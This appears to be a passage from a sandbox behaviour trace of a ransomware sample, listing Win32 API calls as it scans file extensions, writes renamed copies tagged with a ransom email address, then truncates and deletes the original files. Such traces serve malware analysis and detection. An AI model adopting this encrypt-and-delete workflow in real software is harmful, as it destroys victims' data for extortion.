	[0191.598] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0191.598] lstrlenW (lpString=".bz2") returned 4
	[0191.598] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0191.598] lstrlenW (lpString=".7z") returned 3
	[0191.598] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0191.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0191.598] lstrlenW (lpString=".dbf") returned 4
	[0191.598] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0191.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0191.598] lstrlenW (lpString=".1cd") returned 4
	[0191.598] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0191.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52
	[0191.598] lstrlenW (lpString=".jpg") returned 4
	[0191.598] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0191.598] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0191.598] lstrlenW (lpString="zipfs.jar") returned 9
	[0191.598] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0191.599] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=68924) returned 1
	[0191.599] CloseHandle (hObject=0x378) returned 1
	[0191.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 0x20
	[0191.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0191.819] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0191.819] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.819] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.819] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0192.205] GetLastError () returned 0x0
	[0192.205] ReadFile (in: hFile=0x35c, lpBuffer=0x3c57020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesRead=0x322fecc*=0x10d3c, lpOverlapped=0x0) returned 1
	[0192.209] WriteFile (in: hFile=0x354, lpBuffer=0x3c57020*, nNumberOfBytesToWrite=0x10d40, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesWritten=0x322fc94*=0x10d40, lpOverlapped=0x0) returned 1
	[0192.211] ReadFile (in: hFile=0x35c, lpBuffer=0x3c57020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.211] WriteFile (in: hFile=0x354, lpBuffer=0x3c57020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesWritten=0x322fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0192.211] SetEndOfFile (hFile=0x354) returned 1
	[0192.212] CloseHandle (hObject=0x354) returned 1
	[0192.212] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.212] SetEndOfFile (hFile=0x35c) returned 1
	[0192.213] CloseHandle (hObject=0x35c) returned 1
	[0192.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0192.213] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 1
	[0192.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0192.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0192.214] lstrlenW (lpString=".doc") returned 4
	[0192.214] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0192.214] lstrlenW (lpString=".docx") returned 5
	[0192.214] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0192.214] lstrlenW (lpString=".pdf") returned 4
	[0192.214] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0192.214] lstrlenW (lpString=".xls") returned 4
	[0192.214] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0192.214] lstrlenW (lpString=".xlsx") returned 5
	[0192.214] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0192.214] lstrlenW (lpString=".ppt") returned 4
	[0192.214] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0192.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0192.214] lstrlenW (lpString=".zip") returned 4
	[0192.214] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0192.214] lstrlenW (lpString=".rar") returned 4
	[0192.214] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0192.214] lstrlenW (lpString=".bz2") returned 4
	[0192.214] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0192.214] lstrlenW (lpString=".7z") returned 3
	[0192.214] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0192.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0192.214] lstrlenW (lpString=".dbf") returned 4
	[0192.214] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0192.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0192.214] lstrlenW (lpString=".1cd") returned 4
	[0192.214] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0192.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0192.214] lstrlenW (lpString=".jpg") returned 4
	[0192.214] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0192.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0192.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0192.215] lstrlenW (lpString=".doc") returned 4
	[0192.215] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0192.215] lstrlenW (lpString=".docx") returned 5
	[0192.215] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0192.215] lstrlenW (lpString=".pdf") returned 4
	[0192.215] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0192.215] lstrlenW (lpString=".xls") returned 4
	[0192.215] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0192.215] lstrlenW (lpString=".xlsx") returned 5
	[0192.215] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0192.215] lstrlenW (lpString=".ppt") returned 4
	[0192.215] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0192.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0192.215] lstrlenW (lpString=".zip") returned 4
	[0192.215] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0192.215] lstrlenW (lpString=".rar") returned 4
	[0192.215] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0192.215] lstrlenW (lpString=".bz2") returned 4
	[0192.215] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0192.215] lstrlenW (lpString=".7z") returned 3
	[0192.215] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0192.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0192.215] lstrlenW (lpString=".dbf") returned 4
	[0192.215] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0192.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0192.215] lstrlenW (lpString=".1cd") returned 4
	[0192.215] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0192.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52
	[0192.215] lstrlenW (lpString=".jpg") returned 4
	[0192.215] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0192.216] lstrcmpiW (lpString1=".ttf", lpString2=".Z9") returned -1
	[0192.216] lstrlenW (lpString="LucidaTypewriterBold.ttf") returned 24
	[0192.216] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0193.417] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=234068) returned 1
	[0193.417] CloseHandle (hObject=0x370) returned 1
	[0193.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 0x20
	[0193.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.417] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0193.418] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.418] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.418] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0193.419] GetLastError () returned 0x0
	[0193.419] ReadFile (in: hFile=0x370, lpBuffer=0x3c57020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesRead=0x322fecc*=0x39254, lpOverlapped=0x0) returned 1
	[0193.423] WriteFile (in: hFile=0x38c, lpBuffer=0x3c57020*, nNumberOfBytesToWrite=0x39260, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesWritten=0x322fc94*=0x39260, lpOverlapped=0x0) returned 1
	[0193.427] ReadFile (in: hFile=0x370, lpBuffer=0x3c57020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.427] WriteFile (in: hFile=0x38c, lpBuffer=0x3c57020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesWritten=0x322fc94*=0x104, lpOverlapped=0x0) returned 1
	[0193.428] SetEndOfFile (hFile=0x38c) returned 1
	[0193.428] CloseHandle (hObject=0x38c) returned 1
	[0193.428] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.428] SetEndOfFile (hFile=0x370) returned 1
	[0193.430] CloseHandle (hObject=0x370) returned 1
	[0193.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0193.430] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 1
	[0193.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0193.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0193.431] lstrlenW (lpString=".doc") returned 4
	[0193.431] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0193.431] lstrlenW (lpString=".docx") returned 5
	[0193.431] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0193.431] lstrlenW (lpString=".pdf") returned 4
	[0193.431] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0193.431] lstrlenW (lpString=".xls") returned 4
	[0193.431] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0193.431] lstrlenW (lpString=".xlsx") returned 5
	[0193.431] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0193.431] lstrlenW (lpString=".ppt") returned 4
	[0193.431] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0193.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0193.431] lstrlenW (lpString=".zip") returned 4
	[0193.431] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0193.431] lstrlenW (lpString=".rar") returned 4
	[0193.431] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0193.431] lstrlenW (lpString=".bz2") returned 4
	[0193.431] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0193.431] lstrlenW (lpString=".7z") returned 3
	[0193.431] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0193.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0193.431] lstrlenW (lpString=".dbf") returned 4
	[0193.431] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0193.431] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0193.432] lstrlenW (lpString=".1cd") returned 4
	[0193.432] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0193.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0193.432] lstrlenW (lpString=".jpg") returned 4
	[0193.432] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0193.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0193.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0193.432] lstrlenW (lpString=".doc") returned 4
	[0193.432] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0193.432] lstrlenW (lpString=".docx") returned 5
	[0193.432] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0193.432] lstrlenW (lpString=".pdf") returned 4
	[0193.432] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0193.432] lstrlenW (lpString=".xls") returned 4
	[0193.432] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0193.432] lstrlenW (lpString=".xlsx") returned 5
	[0193.432] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0193.432] lstrlenW (lpString=".ppt") returned 4
	[0193.432] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0193.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0193.432] lstrlenW (lpString=".zip") returned 4
	[0193.432] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0193.432] lstrlenW (lpString=".rar") returned 4
	[0193.432] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0193.432] lstrlenW (lpString=".bz2") returned 4
	[0193.432] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0193.432] lstrlenW (lpString=".7z") returned 3
	[0193.432] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0193.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0193.432] lstrlenW (lpString=".dbf") returned 4
	[0193.432] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0193.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0193.432] lstrlenW (lpString=".1cd") returned 4
	[0193.432] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0193.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0193.432] lstrlenW (lpString=".jpg") returned 4
	[0193.432] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0193.433] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0193.433] lstrlenW (lpString="jsse.jar") returned 8
	[0193.433] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0193.433] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=584576) returned 1
	[0193.433] CloseHandle (hObject=0x370) returned 1
	[0193.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 0x20
	[0193.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.433] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0193.433] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.434] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.434] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0193.434] GetLastError () returned 0x0
	[0193.434] ReadFile (in: hFile=0x370, lpBuffer=0x3c57020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c57020*, lpNumberOfBytesRead=0x322fecc*=0x8eb80, lpOverlapped=0x0) returned 1
	[0193.445] WriteFile (hFile=0x38c, lpBuffer=0x3c57020, nNumberOfBytesToWrite=0x8eb90, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0) 

Thread:
	id = 97
	os_tid = 0xf58

	[0188.180] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10000) returned 0x39c33a8
	[0188.181] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10000) returned 0x39d33b0
	[0188.181] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b2688
	[0188.181] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x6) returned 0x7a5a80
	[0188.181] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b2448
	[0188.181] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x100000) returned 0x3d6a020
	[0188.184] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b2748
	[0188.184] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b2748, Size=0x20) returned 0x78dda0
	[0188.184] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b2748
	[0188.185] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b2748, Size=0x20) returned 0x78dd78
	[0188.185] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0188.185] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0188.185] Wow64DisableWow64FsRedirection (in: OldValue=0x336ff50 | out: OldValue=0x336ff50*=0x0) returned 1
	[0188.185] lstrlenW (lpString="kernel32.dll") returned 12
	[0188.185] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78dda0 | out: hHeap=0x750000) returned 1
	[0188.185] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0188.185] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78dd78 | out: hHeap=0x750000) returned 1
	[0188.185] Sleep (dwMilliseconds=0x64) 
	[0188.522] Sleep (dwMilliseconds=0x64) 
	[0188.850] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0188.850] lstrlenW (lpString="joan packages omissions.exe") returned 27
	[0188.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\joan packages omissions.exe" (normalized: "c:\\program files\\common files\\joan packages omissions.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0188.851] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=78336) returned 1
	[0188.851] CloseHandle (hObject=0x360) returned 1
	[0188.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\joan packages omissions.exe" (normalized: "c:\\program files\\common files\\joan packages omissions.exe")) returned 0x20
	[0188.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\joan packages omissions.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\joan packages omissions.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\joan packages omissions.exe" (normalized: "c:\\program files\\common files\\joan packages omissions.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0188.852] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.852] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\joan packages omissions.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\joan packages omissions.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0188.852] GetLastError () returned 0x0
	[0188.852] ReadFile (in: hFile=0x360, lpBuffer=0x3d6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d6a020*, lpNumberOfBytesRead=0x336fecc*=0x13200, lpOverlapped=0x0) returned 1
	[0188.868] WriteFile (in: hFile=0x364, lpBuffer=0x3d6a020*, nNumberOfBytesToWrite=0x13210, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d6a020*, lpNumberOfBytesWritten=0x336fc94*=0x13210, lpOverlapped=0x0) returned 1
	[0188.871] ReadFile (in: hFile=0x360, lpBuffer=0x3d6a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d6a020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.871] WriteFile (in: hFile=0x364, lpBuffer=0x3d6a020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d6a020*, lpNumberOfBytesWritten=0x336fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0188.871] SetEndOfFile (hFile=0x364) returned 1
	[0188.871] CloseHandle (hObject=0x364) returned 1
	[0188.871] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.871] SetEndOfFile (hFile=0x360) returned 1
	[0188.873] CloseHandle (hObject=0x360) returned 1
